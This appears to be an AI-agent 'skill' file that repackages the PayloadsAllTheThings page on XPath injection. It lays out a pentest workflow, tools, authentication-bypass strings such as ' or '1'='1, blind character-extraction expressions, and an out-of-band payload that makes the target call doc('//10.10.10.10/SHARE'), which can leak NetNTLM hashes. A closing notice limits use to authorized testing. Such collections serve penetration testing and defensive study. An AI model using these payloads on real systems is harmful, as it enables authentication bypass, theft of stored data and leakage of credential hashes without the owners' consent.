XPath Injection Payloads

Source: PayloadsAllTheThings/XPATH Injection Category:

payloads-injection

| Skill ID:

payloads-xpath

Overview

Workflow

1. Recon & Identification

• Identify the target technology stack and injection points
• Enumerate endpoints, parameters, and input vectors
• Determine applicable payload categories from the reference below

2. Payload Selection

• Browse the PATT payload library for the attack class
• Select encoding-appropriate payloads for the target environment
• Consider WAF bypass variants and obfuscation techniques

3. Exploitation (Authorized Only)

• Test payloads in order: passive → active → escalation
• Document every payload tested and its response
• Capture PoC evidence (screenshots, HTTP logs, curl output)

4. Verification & Reporting

• Confirm the vulnerability with a clean minimal PoC
• Map findings to CVE/CWE where applicable
• Report with remediation recommendations and code fixes

Full PATT Reference

XPATH Injection

XPath Injection is an attack technique used to exploit applications that construct XPath (XML Path Language) queries from user-supplied input to query or navigate XML documents.

Summary

• Tools
• Methodology
  • Blind Exploitation
  • Out Of Band Exploitation
• Labs
• References

Tools

• orf/xcat - Automate XPath injection attacks to retrieve documents
• feakk/xxxpwn - Advanced XPath Injection Tool
• aayla-secura/xxxpwn_smart - A fork of xxxpwn using predictive text
• micsoftvn/xpath-blind-explorer
• Harshal35/XmlChor - Xpath injection exploitation tool

Methodology

string(//user[name/text()='" +vuln_var1+ "' and password/text()='" +vuln_var1+ "']/account/text())

' or '1'='1
' or ''='
x' or 1=1 or 'x'='y
/
//
//*
*/*
@*
count(/child::node())
x' or name()='username' or 'x'='y
' and count(/*)=1 and '1'='1
' and count(/@*)=1 and '1'='1
' and count(/comment())=1 and '1'='1
')] | //user/*[contains(*,'
') and contains(../password,'c
') and starts-with(../password,'c

Blind Exploitation

1. Size of a string
   sql

   and string-length(account)=SIZE_INT

2. Access a character with

   substring

   , and verify its value the

   codepoints-to-string

   function
   sql

   substring(//user[userid=5]/username,2,1)=CHAR_HERE
   substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

Out Of Band Exploitation

http://example.com/?title=Foundation&type=*&rent_days=* and doc('//10.10.10.10/SHARE')

Labs

• Root Me - XPath injection - Authentication
• Root Me - XPath injection - String
• Root Me - XPath injection - Blind

References

• Places of Interest in Stealing NetNTLM Hashes - Osanda Malith Jayathissa - March 24, 2017
• XPATH Injection - OWASP - January 21, 2015

REA MCP Integration

// REA MCP — Automated payload injection via REA tools
// Use analyze_function, procedure_pseudo_code, or observe_native_calls
// to identify injection sinks, then apply payloads from this skill.

Legal Notice

⚠️ Authorized Use Only. All payloads in this skill are for security research, penetration testing with written permission, CTF competitions, and defensive study. Unauthorized use against systems you do not own or have explicit permission to test is illegal.